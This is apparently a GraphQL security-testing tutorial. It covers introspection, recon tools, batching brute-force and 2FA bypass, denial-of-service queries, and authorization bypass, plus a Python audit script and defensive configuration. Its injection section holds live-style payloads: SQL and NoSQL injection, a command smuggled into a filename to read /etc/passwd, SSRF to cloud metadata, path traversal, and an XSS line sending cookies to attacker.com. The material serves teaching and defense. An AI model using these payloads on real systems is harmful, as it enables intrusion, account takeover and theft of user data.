GraphQL Security Testing
GraphQL provides powerful query capabilities, but its flexibility introduces unique security challenges including schema exposure, batching abuse, and complex injection vectors.
Information
๐ Quick Navigation
๐ Reconnaissance
- โข Introspection Queries
- โข Recon Tools
โก Exploitation
- โข Batching Attacks
- โข DoS Attacks
- โข Injection Attacks
๐ Authorization
- โข Authorization Bypass
- โข IDOR via GraphQL
๐งช Practice
- โข Testing Script
- โข Defenses
- โข Practice Labs
Introspection Queries
Introspection allows clients to query the GraphQL schema itself. If enabled in production, it exposes the entire API structure including hidden fields, mutations, and types.
# GraphQL Introspection Query
# Full introspection query to dump entire schema
{
__schema {
types {
name
fields {
name
type {
name
kind
ofType {
name
kind
}
}
args {
name
type {
name
}
}
}
}
queryType { name }
mutationType { name }
subscriptionType { name }
}
}
# Simplified version for quick check
{
__schema {
queryType { name }
}
}
# Get all types with their fields
{
__schema {
types {
name
fields {
name
}
}
}
}
# Get a specific type's details
{
__type(name: "User") {
name
fields {
name
type {
name
}
}
}
}# GraphQL Introspection Query
# Full introspection query to dump entire schema
{
__schema {
types {
name
fields {
name
type {
name
kind
ofType {
name
kind
}
}
args {
name
type {
name
}
}
}
}
queryType { name }
mutationType { name }
subscriptionType { name }
}
}
# Simplified version for quick check
{
__schema {
queryType { name }
}
}
# Get all types with their fields
{
__schema {
types {
name
fields {
name
}
}
}
}
# Get a specific type's details
{
__type(name: "User") {
name
fields {
name
type {
name
}
}
}
}Warning
GraphQL Reconnaissance Tools
# GraphQL Reconnaissance Tools
# InQL - Burp Extension for GraphQL Analysis
# https://github.com/doyensec/inql
# GraphQL Voyager - Schema Visualization
# Paste introspection result to visualize schema
# https://graphql-kit.com/graphql-voyager/
# graphw00f - GraphQL Server Fingerprinting
pip install graphw00f
graphw00f -d -t https://target.com/graphql
# Clairvoyance - Schema obtainment even without introspection
# https://github.com/nikitastupin/clairvoyance
python3 -m clairvoyance https://target.com/graphql -o schema.json
# GraphQL-cop - Security auditor
# https://github.com/dolevf/graphql-cop
python3 graphql-cop.py -t https://target.com/graphql
# graphql-path-enum - Find path from one type to another
# https://gitlab.com/dee-see/graphql-path-enum
graphql-path-enum -i schema.json -t User -f id# GraphQL Reconnaissance Tools
# InQL - Burp Extension for GraphQL Analysis
# https://github.com/doyensec/inql
# GraphQL Voyager - Schema Visualization
# Paste introspection result to visualize schema
# https://graphql-kit.com/graphql-voyager/
# graphw00f - GraphQL Server Fingerprinting
pip install graphw00f
graphw00f -d -t https://target.com/graphql
# Clairvoyance - Schema obtainment even without introspection
# https://github.com/nikitastupin/clairvoyance
python3 -m clairvoyance https://target.com/graphql -o schema.json
# GraphQL-cop - Security auditor
# https://github.com/dolevf/graphql-cop
python3 graphql-cop.py -t https://target.com/graphql
# graphql-path-enum - Find path from one type to another
# https://gitlab.com/dee-see/graphql-path-enum
graphql-path-enum -i schema.json -t User -f idBatching Attacks
GraphQL allows multiple queries in a single request. This can bypass rate limits designed for per-request throttling, enabling brute force attacks.
# GraphQL Batching Attacks
# Query Batching - Multiple operations in one request
# Useful for rate limit bypass, brute force, 2FA bypass
# Batch login attempts (bypasses per-request rate limits)
[
{
"query": "mutation { login(email: "user@test.com", password: "password1") { token } }"
},
{
"query": "mutation { login(email: "user@test.com", password: "password2") { token } }"
},
{
"query": "mutation { login(email: "user@test.com", password: "password3") { token } }"
}
]
# Alias-based Batching (same query, different aliases)
query {
attempt1: login(email: "user@test.com", password: "password1") { token }
attempt2: login(email: "user@test.com", password: "password2") { token }
attempt3: login(email: "user@test.com", password: "password3") { token }
attempt4: login(email: "user@test.com", password: "password4") { token }
attempt5: login(email: "user@test.com", password: "password5") { token }
}
# 2FA Bypass via Batching
query {
a: verify2FA(code: "000001") { success }
b: verify2FA(code: "000002") { success }
c: verify2FA(code: "000003") { success }
# ... up to 999999
}
# Mass Data Extraction
query {
user1: user(id: 1) { email password_hash }
user2: user(id: 2) { email password_hash }
user3: user(id: 3) { email password_hash }
# ... enumerate all users
}# GraphQL Batching Attacks
# Query Batching - Multiple operations in one request
# Useful for rate limit bypass, brute force, 2FA bypass
# Batch login attempts (bypasses per-request rate limits)
[
{
"query": "mutation { login(email: "user@test.com", password: "password1") { token } }"
},
{
"query": "mutation { login(email: "user@test.com", password: "password2") { token } }"
},
{
"query": "mutation { login(email: "user@test.com", password: "password3") { token } }"
}
]
# Alias-based Batching (same query, different aliases)
query {
attempt1: login(email: "user@test.com", password: "password1") { token }
attempt2: login(email: "user@test.com", password: "password2") { token }
attempt3: login(email: "user@test.com", password: "password3") { token }
attempt4: login(email: "user@test.com", password: "password4") { token }
attempt5: login(email: "user@test.com", password: "password5") { token }
}
# 2FA Bypass via Batching
query {
a: verify2FA(code: "000001") { success }
b: verify2FA(code: "000002") { success }
c: verify2FA(code: "000003") { success }
# ... up to 999999
}
# Mass Data Extraction
query {
user1: user(id: 1) { email password_hash }
user2: user(id: 2) { email password_hash }
user3: user(id: 3) { email password_hash }
# ... enumerate all users
}Batching Attack Use Cases
Rate Limit Bypass
Send thousands of login attempts in one request to bypass per-request rate limits.
2FA Brute Force
Try all possible 6-digit OTP codes (000000-999999) in batched requests.
Mass Enumeration
Extract data for thousands of user IDs in a single batched query.
Race Conditions
Execute multiple mutations atomically to trigger TOCTOU vulnerabilities.
Denial of Service Attacks
GraphQL's nested query structure can be abused to create exponentially complex queries that consume excessive server resources.
# GraphQL Denial of Service Attacks
# Deeply Nested Query (DoS via complexity)
query {
users {
friends {
friends {
friends {
friends {
friends {
friends {
name
email
}
}
}
}
}
}
}
}
# Circular Fragment (infinite recursion)
query {
user(id: 1) {
...UserFragment
}
}
fragment UserFragment on User {
friends {
...UserFragment
}
}
# Large Field Expansion
query {
allUsers(first: 10000) {
edges {
node {
posts(first: 10000) {
edges {
node {
comments(first: 10000) {
edges {
node {
content
author { name email }
}
}
}
}
}
}
}
}
}
}
# Field Duplication
query {
user(id: 1) {
name
name
name
# repeat thousands of times
}
}
# Resource Intensive Operations
query {
expensiveSearch(
query: "a",
sortBy: "relevance",
includeDeleted: true,
deepSearch: true
) {
results
}
}# GraphQL Denial of Service Attacks
# Deeply Nested Query (DoS via complexity)
query {
users {
friends {
friends {
friends {
friends {
friends {
friends {
name
email
}
}
}
}
}
}
}
}
# Circular Fragment (infinite recursion)
query {
user(id: 1) {
...UserFragment
}
}
fragment UserFragment on User {
friends {
...UserFragment
}
}
# Large Field Expansion
query {
allUsers(first: 10000) {
edges {
node {
posts(first: 10000) {
edges {
node {
comments(first: 10000) {
edges {
node {
content
author { name email }
}
}
}
}
}
}
}
}
}
}
# Field Duplication
query {
user(id: 1) {
name
name
name
# repeat thousands of times
}
}
# Resource Intensive Operations
query {
expensiveSearch(
query: "a",
sortBy: "relevance",
includeDeleted: true,
deepSearch: true
) {
results
}
}Injection Attacks
GraphQL arguments are passed to backend resolvers. If not properly validated, they can lead to SQL injection, NoSQL injection, SSRF, and other attacks.
# GraphQL Injection Attacks
# SQL Injection via GraphQL Arguments
query {
users(filter: "name = 'admin' OR 1=1 --") {
id
name
email
}
}
# NoSQL Injection
query {
user(id: "{\"$gt\":\"\"}") {
email
password_hash
}
}
# OS Command Injection
mutation {
generateReport(filename: "report.pdf; cat /etc/passwd") {
url
}
}
# SSRF via GraphQL
mutation {
importFromUrl(url: "http://169.254.169.254/latest/meta-data/") {
content
}
}
# Path Traversal
query {
getFile(path: "../../../etc/passwd") {
content
}
}
# XSS via GraphQL Mutation
mutation {
updateProfile(
bio: "<script>document.location='http://attacker.com/steal?c='+document.cookie</script>"
) {
success
}
}# GraphQL Injection Attacks
# SQL Injection via GraphQL Arguments
query {
users(filter: "name = 'admin' OR 1=1 --") {
id
name
email
}
}
# NoSQL Injection
query {
user(id: "{\"$gt\":\"\"}") {
email
password_hash
}
}
# OS Command Injection
mutation {
generateReport(filename: "report.pdf; cat /etc/passwd") {
url
}
}
# SSRF via GraphQL
mutation {
importFromUrl(url: "http://169.254.169.254/latest/meta-data/") {
content
}
}
# Path Traversal
query {
getFile(path: "../../../etc/passwd") {
content
}
}
# XSS via GraphQL Mutation
mutation {
updateProfile(
bio: "<script>document.location='http://attacker.com/steal?c='+document.cookie</script>"
) {
success
}
}Authorization Bypass
GraphQL APIs often have inconsistent authorization checks. Fields accessible through different query paths may have different protection levels.
# GraphQL Authorization Bypass
# IDOR via GraphQL
# If you can access your user:
query {
user(id: 123) { # Your ID
email
address
credit_cards { number }
}
}
# Try other user IDs:
query {
user(id: 124) { # Someone else's ID
email
address
credit_cards { number }
}
}
# Field-level Authorization Bypass
# If admin fields aren't properly protected:
query {
me {
name
email
isAdmin # Should be hidden
hashedPassword # Should be hidden
creditCards { # Should require additional auth
number
cvv
}
}
}
# Mutation Authorization
# Accessing admin mutations as regular user
mutation {
deleteUser(id: 1) {
success
}
}
mutation {
promoteToAdmin(userId: 123) {
success
}
}
# Accessing Internal/Debug Queries
query {
_debug { logs }
_internal { systemInfo }
_admin { allUsers { password_hash } }
}
# Subscription-based Data Leakage
subscription {
onNewUser {
id
email
password # Leaked on every new registration
}
}# GraphQL Authorization Bypass
# IDOR via GraphQL
# If you can access your user:
query {
user(id: 123) { # Your ID
email
address
credit_cards { number }
}
}
# Try other user IDs:
query {
user(id: 124) { # Someone else's ID
email
address
credit_cards { number }
}
}
# Field-level Authorization Bypass
# If admin fields aren't properly protected:
query {
me {
name
email
isAdmin # Should be hidden
hashedPassword # Should be hidden
creditCards { # Should require additional auth
number
cvv
}
}
}
# Mutation Authorization
# Accessing admin mutations as regular user
mutation {
deleteUser(id: 1) {
success
}
}
mutation {
promoteToAdmin(userId: 123) {
success
}
}
# Accessing Internal/Debug Queries
query {
_debug { logs }
_internal { systemInfo }
_admin { allUsers { password_hash } }
}
# Subscription-based Data Leakage
subscription {
onNewUser {
id
email
password # Leaked on every new registration
}
}Automated Testing Script
#!/usr/bin/env python3
"""GraphQL Security Testing Script"""
import requests
import json
import sys
class GraphQLTester:
def __init__(self, url, headers=None):
self.url = url
self.headers = headers or {'Content-Type': 'application/json'}
def query(self, query, variables=None):
"""Execute a GraphQL query"""
payload = {'query': query}
if variables:
payload['variables'] = variables
response = requests.post(
self.url,
json=payload,
headers=self.headers
)
return response.json()
def test_introspection(self):
"""Test if introspection is enabled"""
query = '''{ __schema { queryType { name } } }'''
result = self.query(query)
if 'data' in result and result['data'].get('__schema'):
print("[VULN] Introspection is ENABLED")
return True
else:
print("[SAFE] Introspection is disabled")
return False
def dump_schema(self):
"""Dump full schema if introspection enabled"""
query = '''
{
__schema {
types {
name
fields { name }
}
}
}
'''
return self.query(query)
def test_batching(self):
"""Test if query batching is allowed"""
batch = [
{'query': '{ __typename }'},
{'query': '{ __typename }'}
]
response = requests.post(
self.url,
json=batch,
headers=self.headers
)
try:
result = response.json()
if isinstance(result, list) and len(result) == 2:
print("[VULN] Query batching is ENABLED")
return True
except:
pass
print("[SAFE] Query batching appears disabled")
return False
def test_depth_limit(self, max_depth=20):
"""Test query depth limits"""
nested = "{ __typename }"
for i in range(max_depth):
nested = "{ users " + nested + " }"
result = self.query(nested)
if 'errors' in result:
print(f"[SAFE] Depth limit enforced at some level < {max_depth}")
else:
print(f"[VULN] No depth limit (tested {max_depth} levels)")
def test_field_suggestions(self):
"""Test if field suggestions leak schema info"""
query = '{ user { doesnotexist } }'
result = self.query(query)
if 'errors' in result:
error_msg = str(result['errors'])
if 'Did you mean' in error_msg:
print("[INFO] Field suggestions enabled (may leak schema)")
return True
print("[SAFE] No field suggestions")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <graphql-endpoint>")
sys.exit(1)
tester = GraphQLTester(sys.argv[1])
print("\n=== GraphQL Security Tests ===\n")
tester.test_introspection()
tester.test_batching()
tester.test_depth_limit()
tester.test_field_suggestions()#!/usr/bin/env python3
"""GraphQL Security Testing Script"""
import requests
import json
import sys
class GraphQLTester:
def __init__(self, url, headers=None):
self.url = url
self.headers = headers or {'Content-Type': 'application/json'}
def query(self, query, variables=None):
"""Execute a GraphQL query"""
payload = {'query': query}
if variables:
payload['variables'] = variables
response = requests.post(
self.url,
json=payload,
headers=self.headers
)
return response.json()
def test_introspection(self):
"""Test if introspection is enabled"""
query = '''{ __schema { queryType { name } } }'''
result = self.query(query)
if 'data' in result and result['data'].get('__schema'):
print("[VULN] Introspection is ENABLED")
return True
else:
print("[SAFE] Introspection is disabled")
return False
def dump_schema(self):
"""Dump full schema if introspection enabled"""
query = '''
{
__schema {
types {
name
fields { name }
}
}
}
'''
return self.query(query)
def test_batching(self):
"""Test if query batching is allowed"""
batch = [
{'query': '{ __typename }'},
{'query': '{ __typename }'}
]
response = requests.post(
self.url,
json=batch,
headers=self.headers
)
try:
result = response.json()
if isinstance(result, list) and len(result) == 2:
print("[VULN] Query batching is ENABLED")
return True
except:
pass
print("[SAFE] Query batching appears disabled")
return False
def test_depth_limit(self, max_depth=20):
"""Test query depth limits"""
nested = "{ __typename }"
for i in range(max_depth):
nested = "{ users " + nested + " }"
result = self.query(nested)
if 'errors' in result:
print(f"[SAFE] Depth limit enforced at some level < {max_depth}")
else:
print(f"[VULN] No depth limit (tested {max_depth} levels)")
def test_field_suggestions(self):
"""Test if field suggestions leak schema info"""
query = '{ user { doesnotexist } }'
result = self.query(query)
if 'errors' in result:
error_msg = str(result['errors'])
if 'Did you mean' in error_msg:
print("[INFO] Field suggestions enabled (may leak schema)")
return True
print("[SAFE] No field suggestions")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <graphql-endpoint>")
sys.exit(1)
tester = GraphQLTester(sys.argv[1])
print("\n=== GraphQL Security Tests ===\n")
tester.test_introspection()
tester.test_batching()
tester.test_depth_limit()
tester.test_field_suggestions()Security Best Practices
# GraphQL Security Best Practices
# 1. Disable Introspection in Production
# Apollo Server
const server = new ApolloServer({
introspection: process.env.NODE_ENV !== 'production',
});
# 2. Implement Query Depth Limiting
# graphql-depth-limit
import depthLimit from 'graphql-depth-limit';
const server = new ApolloServer({
validationRules: [depthLimit(10)],
});
# 3. Query Complexity/Cost Analysis
# graphql-query-complexity
import { createComplexityRule } from 'graphql-query-complexity';
const complexityRule = createComplexityRule({
maximumComplexity: 1000,
onComplete: (complexity) => {
console.log('Query Complexity:', complexity);
},
});
# 4. Rate Limiting (per-operation, not per-request)
# Count each operation in batch separately
# 5. Disable Query Batching if not needed
# Or limit batch size
# 6. Input Validation
# Sanitize all user inputs before using in resolvers
# 7. Authorization at Field Level
# Use @auth directives or resolver-level checks
const resolvers = {
User: {
email: (parent, args, context) => {
if (!context.user.isAdmin && context.user.id !== parent.id) {
throw new Error('Unauthorized');
}
return parent.email;
},
},
};
# 8. Disable Field Suggestions in Production
# Prevents schema enumeration# GraphQL Security Best Practices
# 1. Disable Introspection in Production
# Apollo Server
const server = new ApolloServer({
introspection: process.env.NODE_ENV !== 'production',
});
# 2. Implement Query Depth Limiting
# graphql-depth-limit
import depthLimit from 'graphql-depth-limit';
const server = new ApolloServer({
validationRules: [depthLimit(10)],
});
# 3. Query Complexity/Cost Analysis
# graphql-query-complexity
import { createComplexityRule } from 'graphql-query-complexity';
const complexityRule = createComplexityRule({
maximumComplexity: 1000,
onComplete: (complexity) => {
console.log('Query Complexity:', complexity);
},
});
# 4. Rate Limiting (per-operation, not per-request)
# Count each operation in batch separately
# 5. Disable Query Batching if not needed
# Or limit batch size
# 6. Input Validation
# Sanitize all user inputs before using in resolvers
# 7. Authorization at Field Level
# Use @auth directives or resolver-level checks
const resolvers = {
User: {
email: (parent, args, context) => {
if (!context.user.isAdmin && context.user.id !== parent.id) {
throw new Error('Unauthorized');
}
return parent.email;
},
},
};
# 8. Disable Field Suggestions in Production
# Prevents schema enumerationPractice Labs
DVGA
Damn Vulnerable GraphQL Application
PortSwigger GraphQL Labs
Interactive GraphQL security labs
InQL Burp Extension
GraphQL scanner for Burp Suite
GraphQL Best Practices
Official security recommendations
Testing Checklist
๐ Reconnaissance
- โ Test introspection query
- โ Try field suggestions for schema leaks
- โ Run graphw00f fingerprinting
- โ Visualize schema with Voyager
- โ Identify sensitive fields/types
โก Batching/DoS
- โ Test array-based batching
- โ Test alias-based batching
- โ Check depth limits
- โ Test query complexity limits
- โ Try circular fragments
๐ Injection
- โ SQL injection in arguments
- โ NoSQL injection
- โ SSRF in URL parameters
- โ OS command injection
- โ XSS in mutations
๐ Authorization
- โ IDOR in query arguments
- โ Field-level authorization
- โ Mutation authorization
- โ Subscription data leakage
- โ Access hidden/internal queries